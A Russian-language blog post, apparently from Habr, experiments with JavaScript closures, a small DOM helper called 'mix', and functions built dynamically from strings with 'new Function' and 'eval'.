mix.s = function (id){ mix(id).style; };
```
Сразу скажу, чтобы потом не было вопросов:
я знаю про JQuery, Prototype, Script.Aculo.us и т.п.
Я понимаю, что это гораздо удобней чем писать своё.
Смысл статьи не в том, чтобы писать framework.
2. Решили немножко улучшить функционал, вот так:
```
mix.T = function(id, par) {
if (par) {
mix.s(id).top = par;
} else {
return parseInt(mix.s(id).top);
}
}
mix.L = function(id, par) {
if (par) {
mix.s(id).left = par;
} else {
return parseInt(mix.s(id).left);
}
}
mix.W = function(id, par) {
if (par) {
mix.s(id).width = par;
} else {
return parseInt(mix.s(id).width);
}
}
mix.H = function(id, par) {
if (par) {
mix.s(id).height = par;
} else {
return parseInt(mix.s(id).height);
}
}
```
Банально, не правда ли?
Это всё для примера, так что не ругайтесь.
3. Теперь вернемся немного назад, к безымянным функциям (замыканиям).
```
(function() {
[Operators];
})()
```
Нелепая попытка сделать пару примеров «на засыпку»:
* мы знаем про оператор **new**,
* мы знаем про связку **new** и **Function()**,
* зачем могут быть нужны «безымянные» переменные?
Персональное безумие началось с «Вики-англичанки»: [**статя**](http://en.wikipedia.org/wiki/JavaScript)
про JavaScript.
Там внизу есть Syntax and semantics — замечательный пример.
После этого «щелкнула» известная многим
[**набла**](http://dklab.ru/chicken/nablas/40.html).
И, главное — последующий
[**тред**](http://forum.dklab.ru/viewtopic.php?t=13277&postdays=0&postorder=asc&start=40).
Здесь они почти ни при чём, но после «Вики» были именно они.
Из этого вышел вот такой бред, очевидно, что переменные не совсем безымянные:
```
(function() {
mix.init = false;
var ag = arguments;
//just a sample
alert(ag[2]);
var prepareFucntionArgs = function(el) {
var ra = el;
if ((el == "i") || (el == "")) {
ra = ["id"];
}
if (el == "p") {
ra = ["id", "par"];
}
return ra;
}
var prepareFunctionBody = function(el) {
var str = el[1]
.replace(/_tp/g, "_i _m._a_p _e _r _m._a; }")
.replace(/_tr/g, "_i _s._a_p _e _r _I_s._a); }")
.replace(/_i/g, "if (par){ ")
.replace(/_I/g, " parseInt(")
.replace(/_e/g, " }else{ ")
.replace(/_r/g, " return ")
.replace(/_p/g, " = par; ")
.replace(/_m./g, "mix(id).")
.replace(/_s./g, "mix.s(id).");
if (el[2]) {
str = str.replace(/_a/g, el[2]);
}
return str;
}
for (var i in ag[0]) {
// parsing "0" arguments array
(function() {
try {
var a = ag[0][i];
var pf_A = prepareFucntionArgs(a[0]);
var pf_B = prepareFunctionBody(a);
mix[i] = new Function(pf_A, pf_B);
} catch (e) {
alert(e);
alert("" + i + "\n" + pf_A + "\n" + pf_B);
} finally {}
})();
};
for (var i in ag[1]) {
mix[i] = ag[1][i];
};
})({
s: ["", "_r _m.style;"],
cn: ["p", "_tp", "className"],
T: ["p", "_tr", "top"],
L: ["p", "_tr", "left"],
W: ["p", "_tr", "width"],
H: ["p", "_tr", "height"],
In: ["p", "_tp", "innerHTML"]
}, {
sample: "sample",
init: true
}, mix = function(id) {
return document.getElementById(id);
});
```
Теперь мою «крышу» уже ничего не спасет.
А ведь вместо вышестоящей банальщины могли быть чьи-нибудь полиморфные классы,
нейронно-сетевые скрипты и… СППР, зачатки ИИ. Ага. ;)
Вот еще, немного кода, ну, вдруг кто-то типа недавнешнего меня этого не знал:
```
var multiply1 = new Function("x", (function() {
return "return x";
})());
alert(multiply1);
var multiply2 = eval("new Function(\"x\", \(function(){ return \"return x\"; })()\)");
alert(multiply2);
var multiply3 = new Function(["x", "y"], (function() {
return "return x*y";
})());
alert(multiply3(5, 6));
var multiply4 = new Function(["x", ["y", "z"]], "return (x*y-z); ");
alert(multiply4(5, 6, 10));
```
И, наконец, плюшка, «взорвавшая» мозг: теперь я понимаю, почему у function
typeof() конструктора тоже function!
Теперь мне также ясно — «почему до сих пор нет телепортеров».
Сумбурно получилось, но, может кому-то будет полезно почитать.
|
https://habr.com/ru/post/76377/
| null |
ru
| null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.